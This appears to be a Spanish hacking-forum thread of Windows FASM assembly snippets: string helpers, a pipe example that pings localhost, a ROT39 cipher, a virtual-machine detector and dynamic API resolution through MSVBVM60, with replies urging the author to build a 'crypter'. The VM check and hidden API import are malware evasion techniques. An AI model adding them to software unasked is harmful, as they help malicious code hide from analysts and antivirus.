proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
Cita de: YST en 1 Junio 2009, 00:36 AM
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
¿Podrias explicarlo?
Claro,
Lo que hace es detectar el ultimo "." , luego crear un "buffer" con GlobalAlloc y metiendo hay el contenido que viene luego de ese "." , detecta el ultimo "." sumando el tamaño total de la cadena y luego en un bucle decrementando :P
Buff, gracias, no entiendo mucho del code, tantas variables ebx, eax, ... xD
Hombre eax, ebx y parecidas no son variables... Son registros del CPU... xDD
http://es.wikipedia.org/wiki/Registro_(hardware) (http://es.wikipedia.org/wiki/Registro_(hardware))
xD Se que son registros, lo que no me acordaba como se llamaba xD
bien yst, deberias intentar hacer un crypter ;)
Cita de: x0ʎu en 26 Junio 2009, 19:16 PM
bien yst, deberias intentar hacer un crypter ;)
Me lees la mente o que ? :xD El sabado publico un crypter ( estyo esperando que karcrack me haga la GUI )
Cita de: YST en 26 Junio 2009, 19:51 PM
Cita de: x0ʎu en 26 Junio 2009, 19:16 PM
bien yst, deberias intentar hacer un crypter ;)
Me lees la mente o que ? :xD El sabado publico un crypter ( estyo esperando que karcrack me haga la GUI )
;-) ;-) lo esperamos ;)
include 'win32ax.inc'
.code
start:
;Creamos el tunel
mov [sa.nLength],12 ;Sizeof.SECURITY_ATTRIBUTES = 12
mov [sa.bInheritHandle],1
mov [sa.lpSecurityDescriptor],0
invoke CreatePipe,hReadPipe, hWritePipe, sa, 0
;Lanzamos el interprete de comandos...
mov [Start.cb],68 ;Sizeof.STARTUPINFO
mov [Start.dwFlags],257; STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
push [hWritePipe]
push [hWritePipe]
pop [Start.hStdError]
pop [Start.hStdOutput]
invoke CreateProcessA,0,"cmd.exe /c ping 127.0.0.1", sa, sa, 1, NORMAL_PRIORITY_CLASS, 0, 0, Start, Proc
invoke Sleep,100
invoke CloseHandle,[hWritePipe]
.leer:
invoke ReadFile,[hReadPipe], strBuff, 250, lngBytesread, 0
mov ebx,eax
.if ebx <> 0
invoke lstrcat,strBuff2,strBuff
.endif
cmp ebx,0
jne .leer
invoke MessageBox,0, strBuff2,0,0
salir:
invoke TerminateProcess,[Proc.hProcess],0
invoke CloseHandle,[hReadPipe]
invoke CloseHandle,[hWritePipe]
invoke ExitProcess,0
.data
struct SECURITY_ATTRIBUTES
nLength dd ?
lpSecurityDescriptor dd ?
bInheritHandle dd ?
ends
sa SECURITY_ATTRIBUTES
Start STARTUPINFO
hReadPipe dd ?
hWritePipe dd ?
Proc PROCESS_INFORMATION
lngBytesread dd ?
strBuff rb 257
strBuff2 rb 257
.end start
Que hace este code? ;)
Cita de: AmeRiK@nO en 17 Julio 2009, 21:41 PM
Que hace este code? ;)
Es un ejemplo del manejo de las pipes , el code en si muestra lo que devuelve un ping a 127.0.0.1(localhost)
Gracias :xD
include 'win32ax.inc'
.code
start:
stdcall Len,"Hola mundo."
mov ebx,eax
stdcall ROT39,"Hola mundo." ,eax
mov esi,eax
invoke MessageBox,0,eax,"cifrado:",0
invoke ExitProcess,0
LOWER_LIMIT = 48
CHARMAP = 39
UPPER_LIMIT = 125
proc ROT39,pString,pLargo
locals
nCode dd ?
endl
mov eax,[pLargo]
inc eax
invoke GlobalAlloc,GPTR,eax
mov ebx,eax
mov eax,[pLargo]
stdcall cRtlMoveMemory, ebx,[pString],eax
dec [pLargo]
xor esi,esi
dec esi
.bucle:
inc esi
mov eax,ebx
add eax,esi
movzx ecx,byte[eax]
mov [nCode] ,ecx
.if [nCode] >= LOWER_LIMIT & [nCode] <= UPPER_LIMIT
mov eax,[nCode]
add eax,CHARMAP
mov [nCode],eax
.if [nCode] > UPPER_LIMIT
mov eax,[nCode]
sub eax, UPPER_LIMIT
add eax,LOWER_LIMIT
dec eax
mov [nCode] ,eax
.endif
.endif
mov eax,ebx
add eax,esi
mov ecx,[nCode]
mov byte[eax],cl
cmp esi,[pLargo]
jne .bucle
mov eax,ebx
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
include 'win32ax.inc'
.code
start:
stdcall IsVirtualPCPresent
cmp eax,0
jne .salir
invoke MessageBox,0,"No estamos en una maquina virtual",0,0
.salir:
invoke ExitProcess,0
;IsVirtualPCPresent
;Autor: YST
;Basado en un la funcion IsVirtualPCPresent de cobein
;
;
proc IsVirtualPCPresent
locals
lBuffer rb 500
endl
stdcall LeerRegistro,80000002h,iClave,iCero,addr lBuffer
cmp eax,0
je .no
stdcall cInstr,addr lBuffer,iVIRTUAL
cmp eax,0
je @f
mov eax,1
jmp .salir
@@:
stdcall cInstr,addr lBuffer,iVMWARE
cmp eax,0
je @f
mov eax,2
jmp .salir
@@:
stdcall cInstr,addr lBuffer,iVBOX
cmp eax,0
je @f
mov eax,3
jmp .salir
@@:
.no:
xor eax,eax
.salir:
ret
iClave db 'SYSTEM\ControlSet001\Services\Disk\Enum',0
iCero db '0',0
iVIRTUAL db 'VIRTUAL',0
iVMWARE db 'VMWARE',0
iVBOX db 'VBOX',0
endp
proc LeerRegistro,cHKEY,cCadena,cCampo,cBuffer
locals
temp dd ?
Result dd ?
endl
mov [temp],MAX_PATH*2
invoke RegOpenKeyEx,[cHKEY],[cCadena],0,KEY_READ, addr Result
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
lea ebx,[temp]
invoke RegQueryValueEx ,[Result],[cCampo],0,0,[cBuffer],ebx
.if eax <> 0 ;Si no hay datos devolvemos 0
xor eax,eax
jmp .salir
.endif
mov eax,1
.salir:
ret
endp
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera //
;//c1 = Cadena //
;//c2 = Cadena que se buscara en c1 //
;// Retorna: //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2 //
;// by YST //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
Se mejoro la funcion GetAddressFunction :P .
Tanto sabes ? O.o
por eso respondeme en el tema si as leido mas libros de asm...
:P
;Traducido por YST , codigo original por Karcrack
include 'win32ax.inc'
.code
start:
stdcall ConseguirApi,Libreria,yapi
stdcall eax,0,0,0,0
invoke ExitProcess
proc ConseguirApi,pLib,pProc
locals
struct tAPICall
ptsLIB dd ? ; Pointer to ANSI String that contains Library
ptsProc dd ? ; Pointer to ANSI String that contains Procedure
lReserved dd ? ; Just reserved...
lPointer dd ? ; Pointer to the buffer that will contain temp variables from DllFunctionCall
lpBuffer dd 4 dup (0); Buffer that will contain temp variables
ends
tAPI tAPICall
endl
push [pLib]
pop [tAPI.ptsLIB]
push [pProc]
pop [tAPI.ptsProc]
mov [tAPI.lReserved],40000h
lea eax,[tAPI.lPointer]
mov [tAPI.lPointer],eax
invoke DllFunctionCall,addr tAPI
ret
endp
.data
Libreria db "user32.dll" ,0
yapi db "MessageBoxA",0
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',MSVBVM60,'MSVBVM60'
include 'api/kernel32.inc'
import MSVBVM60,DllFunctionCall,'DllFunctionCall'
Se agrego una macro a la cifrado YST para poder usar la encriptacion antes de ensamblar :P
:rolleyes:
Por dios no habia visto este rincon de seguro debe ser el humilde rincon de YST :laugh:
Aprendiendo......